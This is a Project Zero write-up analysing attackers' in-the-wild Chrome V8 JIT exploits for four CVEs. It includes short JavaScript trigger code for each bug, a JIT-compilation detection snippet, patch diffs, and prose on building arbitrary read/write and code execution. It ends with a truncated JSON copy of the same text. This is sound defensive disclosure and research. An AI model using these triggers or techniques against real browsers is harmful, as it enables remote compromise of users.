ID GOOGLEPROJECTZERO:9523EA61EA974CED8A3D9198CD0D5F6D Type googleprojectzero Reporter GoogleProjectZero Modified 2021-01-12T00:00:00
Description
This is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.
Posted by Sergei Glazunov, Project Zero
Introduction
As we continue the series on the watering hole attack discovered in early 2020, in this post we’ll look at the rest of the exploits used by the actor against Chrome. A timeline chart depicting the extracted exploits and affected browser versions is provided below. Different color shades represent different exploit versions.
All vulnerabilities used by the attacker are in V8, Chrome’s JavaScript engine; and more specifically, they are JIT compiler bugs. While classic C++ memory safety issues are still exploited in real-world attacks against web browsers, vulnerabilities in JIT offer many advantages to attackers. First, they usually provide more powerful primitives that can be easily turned into a reliable exploit without the need of a separate issue to, for example, break ASLR. Secondly, the majority of them are almost interchangeable, which significantly accelerates exploit development. Finally, bugs from this class allow the attacker to take advantage of a browser feature called web workers. Web developers use workers to execute additional tasks in a separate JavaScript environment. The fact that every worker runs in its own thread and has its own V8 heap makes exploitation significantly more predictable and stable.
The bugs themselves aren’t novel. In fact, three out of four issues have been independently discovered by external security researchers and reported to Chrome, and two of the reports even provided a full renderer exploit. While writing this post, we were more interested in learning about exploitation techniques and getting insight into a high-tier attacker’s exploit development process.
1. CVE-2017-5070
The vulnerability
This is an issue in Crankshaft, the JIT engine Chrome used before TurboFan. The alias analyzer, which is used by several optimization passes to determine whether two nodes may refer to the same object, produces incorrect results when one of the two nodes is a constant. Consider the following code, which has been extracted from one of the exploits:
global_array = [, 1.1];
function trigger(local_array) {
var temp = global_array[0];
local_array[1] = {};
return global_array[1];
}
trigger([, {}]);
trigger([, 1.1]);
for (var i = 0; i < 10000; i++) {
trigger([, {}]);
}
print(trigger(global_array));
The first line of the trigger function makes Crankshaft perform a map check on global_array (a map in V8 describes the “shape” of an object and includes the element representation information). The next line may trigger the double -> tagged element representation transition for local_array. Since the compiler incorrectly assumes that local_array and global_array can’t point to the same object, it doesn’t invalidate the recorded map state of global_array and, consequently, eliminates the “redundant” map check in the last line of the function.
The vulnerability grants an attacker a two-way type confusion between a JS object pointer and an unboxed double, which is a powerful primitive and is sufficient for a reliable exploit.
The issue was reported to Chrome by security researcher Qixun Zhao (@S0rryMybad) in May 2017 and fixed in the initial release of Chrome 59. The researcher also provided a renderer exploit. The fix made made the alias analyser use the constant comparison only when both arguments are constants:
HAliasing Query(HValue a, HValue b) {
[...]
// Constant objects can be distinguished statically.
if (a->IsConstant()) {
if (a->IsConstant() && b->IsConstant()) {
return a->Equals(b) ? kMustAlias : kNoAlias;
}
return kMayAlias;
Exploit 1
The earliest exploit we’ve discovered targets Chrome 37-58. This is the widest version range we’ve seen, which covers the period of almost three years. Unlike the rest of the exploits, this one contains a separate constant table for every supported browser build.
The author of the exploit takes a known approach to exploiting type confusions in JavaScript engines, which involves gaining the arbitrary read/write capability as an intermediate step. The exploit employs the issue to implement the addrof and fakeobj primitives. It “constructs” a fake ArrayBuffer object inside a JavaScript string, and uses the above primitives to obtain a reference to the fake object. Because strings in JS are immutable, the backing store pointer field of the fake ArrayBuffer can’t be modified. Instead, it’s set in advance to point to an extra ArrayBuffer, which is actually used for arbitrary memory access. Finally, the exploit follows a pointer chain to locate and overwrite the code of a JIT compiled function, which is stored in a RWX memory region.
The exploit is quite an impressive piece of engineering. For example, it includes a small framework for crafting fake JS objects, which supports assigning fields to real JS objects, fake sub-objects, tagged integers, etc. Since the bug can only be triggered once per JIT-compiled function, every time addrof or fakeobj is called, the exploit dynamically generates a new set of required objects and functions using eval.
The author also made significant efforts to increase the reliability of the exploit: there is a sanity check at every minor step; addrof stores all leaked pointers, and the exploit ensures they are still valid before accessing the fake object; fakeobj creates a giant string to store the crafted object contents so it gets allocated in the large object space, where objects aren’t moved by the garbage collector. And, of course, the exploit runs inside a web worker.
However, despite the efforts, the amount of auxiliary code and complexity of the design make accidental crashes quite probable. Also, the constructed fake buffer object is only well-formed enough to be accepted as an argument to the typed array constructor, but it’s unlikely to survive a GC cycle. Reliability issues are the likely reason for the existence of the second exploit.
Exploit 2
The second exploit for the same vulnerability aims at Chrome 47-58, i.e. a subrange of the previous exploit’s supported version range, and the exploit server always gives preference to the second exploit. The version detection is less strict, and there are just three distinct constant tables: for Chrome 47-49, 50-53 and 54-58.
The general approach is similar, however, the new exploit seems to have been rewritten from scratch with simplicity and conciseness in mind as it’s only half the size of the previous one. addrof is implemented in a way that allows leaking pointers to three objects at a time and only used once, so the dynamic generation of trigger functions is no longer needed. The exploit employs mutable on-heap typed arrays instead of JS strings to store the contents of fake objects; therefore, an extra level of indirection in the form of an additional ArrayBuffer is not required. Another notable change is using a RegExp object for code execution. The possible benefit here is that, unlike a JS function, which needs to be called many times to get JIT-compiled, a regular expression gets translated into native code already in the constructor.
While it’s possible that the exploits were written after the issue had become public, they greatly differ from the public exploit in both the design and implementation details. The attacker has thoroughly investigated the issue, for example, their trigger function is much more straightforward than in the public proof-of-concept.
2. CVE-2020-6418
The vulnerability
This is a side effect modelling issue in TurboFan. The function InferReceiverMapsUnsafe assumes that a JSCreate node can only modify the map of its value output. However, in reality, the node can trigger a property access on the new_target parameter, which is observable to user JavaScript if new_target is a proxy object. Therefore, the attacker can unexpectedly change, for example, the element representation of a JS array and trigger a type confusion similar to the one discussed above:
A call reducer (i.e., an optimizer) for Array.prototype.pop invokes InferReceiverMapsUnsafe, which marks the inference result as reliable meaning that it doesn’t require a runtime check. When the proxy object is passed to the vulnerable function, it triggers the tagged -> double element transition. Then pop takes a double element and interprets it as a tagged pointer value.
Note that the attacker can’t call the array function directly because for the expression array.pop() the compiler would insert an extra map check for the property read, which would be scheduled after the proxy handler had modified the array.
This is the only Chrome vulnerability that was still exploited as a 0-day at the time we discovered the exploit server. The issue was reported to Chrome under the 7-day deadline. The one-line patch modified the vulnerable function to mark the result of the map inference as unreliable whenever it encounters a JSCreate node:
result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
[...]
The reader can refer to the blog post published by Exodus Intel for more details on the issue and their version of the exploit.
Exploit 1
This time there’s no embedded list of supported browser versions; the appropriate constants for Chrome 60-63 are determined on the server side.
The exploit takes a rather exotic approach: it only implements a function for the confusion in the double -> tagged direction, i.e. the fakeobj primitive, and takes advantage of a side effect in pop to leak a pointer to the internal hole object. The function pop overwrites the “popped” value with the hole, but due to the same confusion it writes a pointer instead of the special bit pattern for double arrays.
The exploit uses the leaked pointer and fakeobj to implement a data leak primitive that can “survive'' garbage collection. First, it acquires references to two other internal objects, the class_start_position and class_end_position private symbols, owing to the fact that the offset between them and the hole is fixed. Private symbols are special identifiers used by V8 to store hidden properties inside regular JS objects. In particular, the two symbols refer to the start and end substring indices in the script source that represent the body of a class. When JSFunction::ToString is invoked on the class constructor and builds the substring, it performs no bounds checks on the “trustworthy” indices; therefore, the attacker can modify them to leak arbitrary chunks of data in the V8 heap.
The obtained data is scanned for values required to craft a fake typed array: maps, fixed arrays, backing store pointers, etc. This approach allows the attacker to construct a perfectly valid fake object. Since the object is located in a memory region outside the V8 heap, the exploit also has to create a fake MemoryChunk header and marking bitmap to force the garbage collector to skip the crafted objects and, thus, avoid crashes.
Finally, the exploit overwrites the code of a JIT-compiled function with a payload and executes it.
The author has implemented extensive sanity checking. For example, the data leak primitive is reused to verify that the garbage collector hasn’t moved critical objects. In case of a failure, the worker with the exploit gets terminated before it can cause a crash. Quite impressively, even when we manually put GC invocations into critical sections of the exploit, it was still able to exit gracefully most of the time.
The exploit employs an interesting technique to detect whether the trigger function has been JIT-compiled:
jit_detector[Symbol.toPrimitive] = function() {
var stack = (new Error).stack;
if (stack.indexOf("Number (") == -1) {
jit_detector.is_compiled = true;
}
};
function trigger(array, proxy) {
if (!jit_detector.is_compiled) {
Number(jit_detector);
}
[...]
During compilation, TurboFan inlines the builtin function Number. This change is reflected in the JS call stack. Therefore, the attacker can scan a stack trace from inside a function that Number invokes to determine the compilation state.
The exploit was broken in Chrome 64 by the change that encapsulated both class body indices in a single internal object. Although the change only affected a minor detail of the exploit and had an obvious workaround, which is discussed below, the actor decided to abandon this 0-day and switch to an exploit for CVE-2019-5782. This observation suggests that the attacker was already aware of the third vulnerability around the time Chrome 64 came out, i.e. it was also used as a 0-day.
Exploit 2
After CVE-2019-5782 became unexploitable, the actor returned to this vulnerability. However, in the meantime, another commit landed in Chrome that stopped TurboFan from trying to optimize builtins invoked via Function.prototype.call or similar functions. Therefore, the trigger function had to be updated:
By making the result of Reflect.construct an argument to the pop call, the attacker can move the corresponding JSCreate node after the map check induced by the property load.
The new exploit also has a modified data leak primitive. First, the attacker no longer relies on the side effect in pop to get an address on the heap and reuses the type confusion to implement the addrof function. Because the exploit doesn’t have a reference to the hole, it obtains the address of the builtin asyncIterator symbol instead, which is accessible to user scripts and also stored next to the desired class_positions private symbol.
The exploit can’t modify the class body indices directly as they’re not regular properties of the object referenced by class_positions. However, it can replace the entire object, so it generates an extra class with a much longer constructor string and uses it as a donor.
This version targets Chrome 68-72. It was broken by the commit that enabled the W^X protection for JIT regions. Again, given that there are still similar RWX mappings in the renderer related to WebAssembly, the exploit could have been easily fixed. The attacker, nevertheless, decided to focus on an exploit for CVE-2019-13764 instead.
Exploit 3 & 4
The actor returned once again to this vulnerability after CVE-2019-13764 got fixed. The new exploit bypasses the W^X protection by replacing a JIT-compiled JS function with a WebAssembly function as the overwrite target for code execution. That’s the only significant change made by the author.
Exploit 3 is the only one we’ve discovered on the Windows server, and Exploit 4 is essentially the same exploit adapted for Android. Interestingly, it only appeared on the Android server after the fix for the vulnerability came out. A significant amount of number and string literals got updated, and the pop call in the trigger function was replaced with a shift call. The actor likely attempted to avoid signature-based detection with those changes.
The exploits were used against Chrome 78-79 on Windows and 78-80 on Android until the vulnerability finally got patched.
The public exploit presented by Exodus Intel takes a completely different approach and abuses the fact that double and tagged pointer elements differ in size. When the same bug is applied against the function Array.prototype.push, the backing store offset for the new element is calculated incorrectly and, therefore, arbitrary data gets written past the end of the array. In this case the attacker doesn’t have to craft fake objects to achieve arbitrary read/write, which greatly simplifies the exploit. However, on 64-bit systems, this approach can only be used starting from Chrome 80, i.e. the version that introduced the pointer compression feature. While Chrome still runs in the 32-bit mode on Android in order to reduce memory overhead, user agent checks found in the exploits indicate that the actor also targeted (possibly 64-bit) webview processes.
3. CVE-2019-5782
The vulnerability
CVE-2019-5782 is an issue in TurboFan’s typer module. During compilation, the typer infers the possible type of every node in a function graph using a set of rules imposed by the language. Subsequent optimization passes rely on this information and can, for example, eliminate a security-critical check when the predicted type suggests the check would be redundant. A mismatch between the inferred type and actual value can, therefore, lead to security issues.
Note that in this context, the notion of type is quite different from, for example, C++ types. A TurboFan type can be represented by a range of numbers or even a specific value. For more information on typer bugs please refer to the previous post.
In this case an incorrect type is produced for the expression arguments.length, i.e. the number of arguments passed to a given function. The compiler assigns it the integer range [0; 65534], which is valid for a regular call; however, the same limit is not enforced for Function.prototype.apply. The mismatch was abused by the attacker to eliminate a bounds check and access data past the end of the array:
oob_index = 100000;
function trigger() {
let array = [1.1, 1.1];
let index = arguments.length;
index = index - 65534;
index = Math.max(index, 0);
return array[index] = 2.2;
}
for (let i = 0; i < 20000; i++) {
trigger(1,2,3);
}
print(trigger.apply(null, new Array(65534 + oob_index)));
Qixun Zhao used the same vulnerability in Tianfu Cup and reported it to Chrome in November 2018. The public report includes a renderer exploit. The fix, which landed in Chrome 72, simply relaxed the range of the length property.
The exploit
The discovered exploit targets Chrome 63-67. The exploit flow is a bit unconventional as it doesn’t rely on typed arrays to gain arbitrary read/write. The attacker makes use of the fact that V8 allocates objects in the new space linearly to precompute inter-object offsets. The vulnerability is only triggered once to corrupt the length property of a tagged pointer array. The corrupted array can then be used repeatedly to overwrite the elements field of an unboxed double array with an arbitrary JS object, which gives the attacker raw access to the contents of that object. It’s worth noting that this approach doesn’t even require performing manual pointer arithmetic. As usual, the exploit finishes by overwriting the code of a JS function with the payload.
Interestingly, this is the only exploit that doesn’t take advantage of running inside a web worker even though the vulnerability is fully compatible. Also, the amount of error checking is significantly smaller than in the previous exploits. The author probably assumed that the exploitation primitive provided by the issue was so reliable that all additional safety measures became unnecessary. Nevertheless, during our testing, we did occasionally encounter crashes when one of the allocations that the exploit makes managed to trigger garbage collection. That said, such crashes were indeed quite rare.
As the reader may have noticed, the exploit had stopped working long before the issue was fixed. The reason is that one of the hardening patches against speculative side-channel attacks in V8 broke the bounds check elimination technique used by the exploit. The protection was soon turned off for desktop platforms and replaced with site isolation; hence, the public exploit, which employs the same technique, was successfully used against Chrome 70 on Windows during the competition.
The public and private exploits have little in common apart from the bug itself and BCE technique, which has been commonly known since at least 2017. The public exploit turns out-of-bounds access into a type confusion and then follows the older approach, which involves crafting a fake array buffer object, to achieve code execution.
4. CVE-2019-13764
This more complex typer issue occurs when TurboFan doesn’t reflect the possible NaN value in the type of an induction variable. The bug can be triggered by the following code:
for (var i = -Infinity; i < 0; i += Infinity) { [...] }
This vulnerability and exploit for Chrome 73-79 have been discussed in detail in the previous blog post. There’s also an earlier version of the exploit targeting Chrome 69-72; the only difference is that the newer version switched from a JS JIT function to a WASM function as the overwrite target.
The comparison with the exploit for the previous typer issue (CVE-2019-5782) is more interesting, though. The developer put much greater emphasis on stability of the new exploit even though the two vulnerabilities are identical in this regard. The web worker wrapper is back, and the exploit doesn’t corrupt tagged element arrays to avoid GC crashes. Also, it no longer relies completely on precomputed offsets between objects in the new space. For example, to leak a pointer to a JS object the attacker puts it between marker values and then scans the memory for the matching pattern. Finally, the number of sanity checks is increased again.
It’s also worth noting that the new typer bug exploitation technique worked against Chrome on Android despite the side-channel attack mitigation and could have “revived” the exploit for CVE-2019-5782.
Conclusion
The timeline data and incremental changes between different exploit versions suggest that at least three out of the four vulnerabilities (CVE-2020-6418, CVE-2019-5782 and CVE-2019-13764) have been used as 0-days.
It is no secret that exploit reliability is a priority for high-tier attackers, but our findings demonstrate the amount of resources the attackers are willing to spend on making their exploits extra reliable, especially the evidence that the actor has switched from an already high-quality 0-day to a slightly better vulnerability twice.
The area of JIT engine security has received great attention from the wider security community over the last few years. In 2015, when Chrome 37 came out, the exploit for CVE-2017-5070 would be considered quite ahead of its time. In contrast, if we don’t take into account the stability aspect, the exploit for the latest typer issue is not very different from exploits that enthusiasts made for JavaScript challenges at CTF competitions in 2019. This attention also likely affects the average lifetime of a JIT vulnerability and, therefore, may force attackers to move to different bug classes in the future.
This is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 4: Android Exploits.
{"id": "GOOGLEPROJECTZERO:9523EA61EA974CED8A3D9198CD0D5F6D", "type": "googleprojectzero", "bulletinFamily": "info", "title": "\nIn-the-Wild Series: Chrome Exploits\n", "description": "This is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the [introduction post](<https://googleprojectzero.blogspot.com/2021/01/introducing-in-wild-series.html>).\n\nPosted by Sergei Glazunov, Project Zero\n\n### Introduction\n\nAs we continue the series on the watering hole attack discovered in early 2020, in this post we\u2019ll look at the rest of the exploits used by the actor against Chrome. A timeline chart depicting the extracted exploits and affected browser versions is provided below. Different color shades represent different exploit versions.\n\n[](<https://1.bp.blogspot.com/-zWgmKrcnjv8/X_4pAn_ymUI/AAAAAAAAanU/fBqLBzSDt7ks8lax9SI1f-QkmTj31k-JwCNcBGAsYHQ/s1359/timeline.png>)\n\nAll vulnerabilities used by the attacker are in V8, Chrome\u2019s JavaScript engine; and more specifically, they are JIT compiler bugs. While classic C++ memory safety issues are still [exploited in real-world attacks](<https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/>) against web browsers, vulnerabilities in JIT offer many advantages to attackers. First, they usually provide more powerful primitives that can be easily turned into a reliable exploit without the need of a separate issue to, for example, break ASLR. Secondly, the majority of them are almost interchangeable, which significantly accelerates exploit development. Finally, bugs from this class allow the attacker to take advantage of a browser feature called web workers. Web developers use workers to execute additional tasks in a separate JavaScript environment. The fact that every worker runs in its own thread and has its own V8 heap makes exploitation significantly more predictable and stable.\n\nThe bugs themselves aren\u2019t novel. In fact, three out of four issues have been independently discovered by external security researchers and reported to Chrome, and two of the reports even provided a full renderer exploit. While writing this post, we were more interested in learning about exploitation techniques and getting insight into a high-tier attacker\u2019s exploit development process.\n\n### 1\\. CVE-2017-5070\n\n#### The vulnerability\n\nThis is an issue in Crankshaft, the JIT engine Chrome used before TurboFan. The alias analyzer, which is used by several optimization passes to determine whether two nodes may refer to the same object, produces incorrect results when one of the two nodes is a constant. Consider the following code, which has been extracted from one of the exploits:\n\nglobal_array = [, 1.1];\n\nfunction trigger(local_array) {\n\nvar temp = global_array[0];\n\nlocal_array[1] = {};\n\nreturn global_array[1];\n\n}\n\ntrigger([, {}]);\n\ntrigger([, 1.1]);\n\nfor (var i = 0; i < 10000; i++) {\n\ntrigger([, {}]);\n\n}\n\nprint(trigger(global_array)); \n \n--- \n \nThe first line of the trigger function makes Crankshaft perform a map check on global_array (a map in V8 describes the \u201cshape\u201d of an object and includes the element representation information). The next line may trigger the double -> tagged element representation transition for local_array. Since the compiler incorrectly assumes that local_array and global_array can\u2019t point to the same object, it doesn\u2019t invalidate the recorded map state of global_array and, consequently, eliminates the \u201credundant\u201d map check in the last line of the function.\n\nThe vulnerability grants an attacker a two-way type confusion between a JS object pointer and an unboxed double, which is a powerful primitive and is sufficient for a reliable exploit.\n\nThe issue was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=722756>) by security researcher Qixun Zhao (@S0rryMybad) in May 2017 and fixed in the initial release of Chrome 59. The researcher also provided a renderer exploit. [The fix](<https://chromium.googlesource.com/v8/v8.git/+/e33fd30777f99a0d6e16b16d096a2663b1031457>) made made the alias analyser use the constant comparison only when both arguments are constants:\n\nHAliasing Query(HValue* a, HValue* b) {\n\n[...]\n\n// Constant objects can be distinguished statically.\n\n- if (a->IsConstant()) {\n\n+ if (a->IsConstant() && b->IsConstant()) {\n\nreturn a->Equals(b) ? kMustAlias : kNoAlias;\n\n}\n\nreturn kMayAlias; \n \n--- \n \n#### Exploit 1\n\nThe earliest exploit we\u2019ve discovered targets Chrome 37-58. This is the widest version range we\u2019ve seen, which covers the period of almost three years. Unlike the rest of the exploits, this one contains a separate constant table for every supported browser build.\n\nThe author of the exploit takes a [known approach](<http://phrack.org/papers/attacking_javascript_engines.html>) to exploiting type confusions in JavaScript engines, which involves gaining the arbitrary read/write capability as an intermediate step. The exploit employs the issue to implement the addrof and fakeobj primitives. It \u201cconstructs\u201d a fake ArrayBuffer object inside a JavaScript string, and uses the above primitives to obtain a reference to the fake object. Because strings in JS are immutable, the backing store pointer field of the fake ArrayBuffer can\u2019t be modified. Instead, it\u2019s set in advance to point to an extra ArrayBuffer, which is actually used for arbitrary memory access. Finally, the exploit follows a pointer chain to locate and overwrite the code of a JIT compiled function, which is stored in a RWX memory region.\n\nThe exploit is quite an impressive piece of engineering. For example, it includes a small framework for crafting fake JS objects, which supports assigning fields to real JS objects, fake sub-objects, tagged integers, etc. Since the bug can only be triggered once per JIT-compiled function, every time addrof or fakeobj is called, the exploit dynamically generates a new set of required objects and functions using eval.\n\nThe author also made significant efforts to increase the reliability of the exploit: there is a sanity check at every minor step; addrof stores all leaked pointers, and the exploit ensures they are still valid before accessing the fake object; fakeobj creates a giant string to store the crafted object contents so it gets allocated in the large object space, where objects aren\u2019t moved by the garbage collector. And, of course, the exploit runs inside a web worker.\n\nHowever, despite the efforts, the amount of auxiliary code and complexity of the design make accidental crashes quite probable. Also, the constructed fake buffer object is only well-formed enough to be accepted as an argument to the typed array constructor, but it\u2019s unlikely to survive a GC cycle. Reliability issues are the likely reason for the existence of the second exploit.\n\n#### Exploit 2\n\nThe second exploit for the same vulnerability aims at Chrome 47-58, i.e. a subrange of the previous exploit\u2019s supported version range, and the exploit server always gives preference to the second exploit. The version detection is less strict, and there are just three distinct constant tables: for Chrome 47-49, 50-53 and 54-58.\n\nThe general approach is similar, however, the new exploit seems to have been rewritten from scratch with simplicity and conciseness in mind as it\u2019s only half the size of the previous one. addrof is implemented in a way that allows leaking pointers to three objects at a time and only used once, so the dynamic generation of trigger functions is no longer needed. The exploit employs mutable on-heap typed arrays instead of JS strings to store the contents of fake objects; therefore, an extra level of indirection in the form of an additional ArrayBuffer is not required. Another notable change is using a RegExp object for code execution. The possible benefit here is that, unlike a JS function, which needs to be called many times to get JIT-compiled, a regular expression gets translated into native code already in the constructor.\n\nWhile it\u2019s possible that the exploits were written after the issue had become public, they greatly differ from the public exploit in both the design and implementation details. The attacker has thoroughly investigated the issue, for example, their trigger function is much more straightforward than in the public [proof-of-concept](<https://chromium.googlesource.com/v8/v8/+/e33fd30777f99a0d6e16b16d096a2663b1031457/test/mjsunit/regress/regress-crbug-722756.js>).\n\n### 2\\. CVE-2020-6418\n\n#### The vulnerability\n\nThis is a side effect modelling issue in TurboFan. The function InferReceiverMapsUnsafe assumes that a JSCreate node can only modify the map of its value output. However, in reality, the node can trigger a property access on the new_target parameter, which is observable to user JavaScript if new_target is a proxy object. Therefore, the attacker can unexpectedly change, for example, the element representation of a JS array and trigger a type confusion similar to the one discussed above:\n\n'use strict';\n\n(function() {\n\nvar popped;\n\nfunction trigger(new_target) {\n\nfunction inner(new_target) {\n\nfunction constructor() {\n\npopped = Array.prototype.pop.call(array);\n\n}\n\nvar temp = array[0];\n\nreturn Reflect.construct(constructor, arguments, new_target);\n\n}\n\ninner(new_target);\n\n}\n\nvar array = new Array(0, 0, 0, 0, 0);\n\nfor (var i = 0; i < 20000; i++) {\n\ntrigger(function() { });\n\narray.push(0);\n\n}\n\nvar proxy = new Proxy(Object, {\n\nget: () => (array[4] = 1.1, Object.prototype)\n\n});\n\ntrigger(proxy);\n\nprint(popped);\n\n}()); \n \n--- \n \nA call reducer (i.e., an optimizer) for Array.prototype.pop invokes InferReceiverMapsUnsafe, which marks the inference result as reliable meaning that it doesn\u2019t require a runtime check. When the proxy object is passed to the vulnerable function, it triggers the tagged -> double element transition. Then pop takes a double element and interprets it as a tagged pointer value.\n\nNote that the attacker can\u2019t call the array function directly because for the expression array.pop() the compiler would insert an extra map check for the property read, which would be scheduled after the proxy handler had modified the array.\n\nThis is the only Chrome vulnerability that was still exploited as a 0-day at the time we discovered the exploit server. The issue was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=1053604>) under the 7-day deadline. [The one-line patch](<https://chromium.googlesource.com/v8/v8.git/+/fb0a60e15695466621cf65932f9152935d859447>) modified the vulnerable function to mark the result of the map inference as unreliable whenever it encounters a JSCreate node:\n\nInferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(\n\n[...]\n\nInferReceiverMapsResult result = kReliableReceiverMaps;\n\n[...]\n\ncase IrOpcode::kJSCreate: {\n\nif (IsSame(receiver, effect)) {\n\nbase::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);\n\nif (initial_map.has_value()) {\n\n*maps_return = ZoneHandleSet<Map>(initial_map->object());\n\nreturn result;\n\n}\n\n// We reached the allocation of the {receiver}.\n\nreturn kNoReceiverMaps;\n\n}\n\n+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.\n\nbreak;\n\n}\n\n[...] \n \n--- \n \nThe reader can refer to [the blog post](<https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/>) published by Exodus Intel for more details on the issue and their version of the exploit.\n\n#### Exploit 1\n\nThis time there\u2019s no embedded list of supported browser versions; the appropriate constants for Chrome 60-63 are determined on the server side.\n\nThe exploit takes a rather exotic approach: it only implements a function for the confusion in the double -> tagged direction, i.e. the fakeobj primitive, and takes advantage of a side effect in pop to leak a pointer to the internal hole object. The function pop overwrites the \u201cpopped\u201d value with the hole, but due to the same confusion it writes a pointer instead of the special bit pattern for double arrays.\n\nThe exploit uses the leaked pointer and fakeobj to implement a data leak primitive that can \u201csurvive'' garbage collection. First, it acquires references to two other internal objects, the class_start_position and class_end_position private [symbols](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol>), owing to the fact that the offset between them and the hole is fixed. Private symbols are special identifiers used by V8 to store hidden properties inside regular JS objects. In particular, the two symbols refer to the start and end substring indices in the script source that represent the body of a class. When JSFunction::ToString is invoked on the class constructor and builds the substring, it performs no bounds checks on the \u201ctrustworthy\u201d indices; therefore, the attacker can modify them to leak arbitrary chunks of data in the V8 heap.\n\nThe obtained data is scanned for values required to craft a fake typed array: maps, fixed arrays, backing store pointers, etc. This approach allows the attacker to construct a perfectly valid fake object. Since the object is located in a memory region outside the V8 heap, the exploit also has to create a fake MemoryChunk header and marking bitmap to force the garbage collector to skip the crafted objects and, thus, avoid crashes.\n\nFinally, the exploit overwrites the code of a JIT-compiled function with a payload and executes it.\n\nThe author has implemented extensive sanity checking. For example, the data leak primitive is reused to verify that the garbage collector hasn\u2019t moved critical objects. In case of a failure, the worker with the exploit gets terminated before it can cause a crash. Quite impressively, even when we manually put GC invocations into critical sections of the exploit, it was still able to exit gracefully most of the time.\n\nThe exploit employs an interesting technique to detect whether the trigger function has been JIT-compiled:\n\njit_detector[Symbol.toPrimitive] = function() {\n\nvar stack = (new Error).stack;\n\nif (stack.indexOf(\"Number (\") == -1) {\n\njit_detector.is_compiled = true;\n\n}\n\n};\n\nfunction trigger(array, proxy) {\n\nif (!jit_detector.is_compiled) {\n\nNumber(jit_detector);\n\n}\n\n[...] \n \n--- \n \nDuring compilation, TurboFan inlines the builtin function Number. This change is reflected in the JS call stack. Therefore, the attacker can scan a stack trace from inside a function that Number invokes to determine the compilation state.\n\nThe exploit was broken in Chrome 64 by [the change](<https://chromium.googlesource.com/v8/v8/+/52ab610bd13>) that encapsulated both class body indices in a single internal object. Although the change only affected a minor detail of the exploit and had an obvious workaround, which is discussed below, the actor decided to abandon this 0-day and switch to an exploit for CVE-2019-5782. This observation suggests that the attacker was already aware of the third vulnerability around the time Chrome 64 came out, i.e. it was also used as a 0-day.\n\n#### Exploit 2\n\nAfter CVE-2019-5782 became unexploitable, the actor returned to this vulnerability. However, in the meantime, [another commit](<https://chromium.googlesource.com/v8/v8/+/ccbbdb93a1c6f38422097738a830c137576d92fd>) landed in Chrome that stopped TurboFan from trying to optimize builtins invoked via Function.prototype.call or similar functions. Therefore, the trigger function had to be updated:\n\nfunction trigger(new_target) {\n\nfunction inner(new_target) {\n\npopped = array.pop(\n\nReflect.construct(function() { }, arguments, new_target));\n\n}\n\ninner(new_target);\n\n} \n \n--- \n \nBy making the result of Reflect.construct an argument to the pop call, the attacker can move the corresponding JSCreate node after the map check induced by the property load.\n\nThe new exploit also has a modified data leak primitive. First, the attacker no longer relies on the side effect in pop to get an address on the heap and reuses the type confusion to implement the addrof function. Because the exploit doesn\u2019t have a reference to the hole, it obtains the address of the builtin asyncIterator symbol instead, which is accessible to user scripts and also stored next to the desired class_positions private symbol.\n\nThe exploit can\u2019t modify the class body indices directly as they\u2019re not regular properties of the object referenced by class_positions. However, it can replace the entire object, so it generates an extra class with a much longer constructor string and uses it as a donor.\n\nThis version targets Chrome 68-72. It was broken by [the commit](<https://chromium.googlesource.com/v8/v8.git/+/f7aa8ea00bbf200e9050a22ec84fab4f323849a7%5E%21/>) that enabled the W^X protection for JIT regions. Again, given that there are still similar RWX mappings in the renderer related to WebAssembly, the exploit could have been easily fixed. The attacker, nevertheless, decided to focus on an exploit for CVE-2019-13764 instead.\n\n#### Exploit 3 & 4\n\nThe actor returned once again to this vulnerability after CVE-2019-13764 got fixed. The new exploit bypasses the W^X protection by replacing a JIT-compiled JS function with a WebAssembly function as the overwrite target for code execution. That\u2019s the only significant change made by the author.\n\nExploit 3 is the only one we\u2019ve discovered on the Windows server, and Exploit 4 is essentially the same exploit adapted for Android. Interestingly, it only appeared on the Android server after the fix for the vulnerability came out. A significant amount of number and string literals got updated, and the pop call in the trigger function was replaced with a shift call. The actor likely attempted to avoid signature-based detection with those changes.\n\nThe exploits were used against Chrome 78-79 on Windows and 78-80 on Android until the vulnerability finally got patched.\n\n[The public exploit](<https://blog.exodusintel.com/wp-content/uploads/2020/05/exp.zip>) presented by Exodus Intel takes a completely different approach and abuses the fact that double and tagged pointer elements differ in size. When the same bug is applied against the function Array.prototype.push, the backing store offset for the new element is calculated incorrectly and, therefore, arbitrary data gets written past the end of the array. In this case the attacker doesn\u2019t have to craft fake objects to achieve arbitrary read/write, which greatly simplifies the exploit. However, on 64-bit systems, this approach can only be used starting from Chrome 80, i.e. the version that introduced the [pointer compression](<https://v8.dev/blog/pointer-compression>) feature. While Chrome still runs in the 32-bit mode on Android in order to reduce memory overhead, user agent checks found in the exploits indicate that the actor also targeted (possibly 64-bit) webview processes.\n\n### 3\\. CVE-2019-5782\n\n### The vulnerability\n\nCVE-2019-5782 is an issue in TurboFan\u2019s typer module. During compilation, the typer infers the possible type of every node in a function graph using a set of rules imposed by the language. Subsequent optimization passes rely on this information and can, for example, eliminate a security-critical check when the predicted type suggests the check would be redundant. A mismatch between the inferred type and actual value can, therefore, lead to security issues.\n\nNote that in this context, the notion of type is quite different from, for example, C++ types. A TurboFan type can be represented by a range of numbers or even a specific value. For more information on typer bugs please refer to the [previous post](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>).\n\nIn this case an incorrect type is produced for the expression arguments.length, i.e. the number of arguments passed to a given function. The compiler assigns it the integer range [0; 65534], which is valid for a regular call; however, the same limit is not enforced for Function.prototype.apply. The mismatch was abused by the attacker to eliminate a bounds check and access data past the end of the array:\n\noob_index = 100000;\n\nfunction trigger() {\n\nlet array = [1.1, 1.1];\n\nlet index = arguments.length;\n\nindex = index - 65534;\n\nindex = 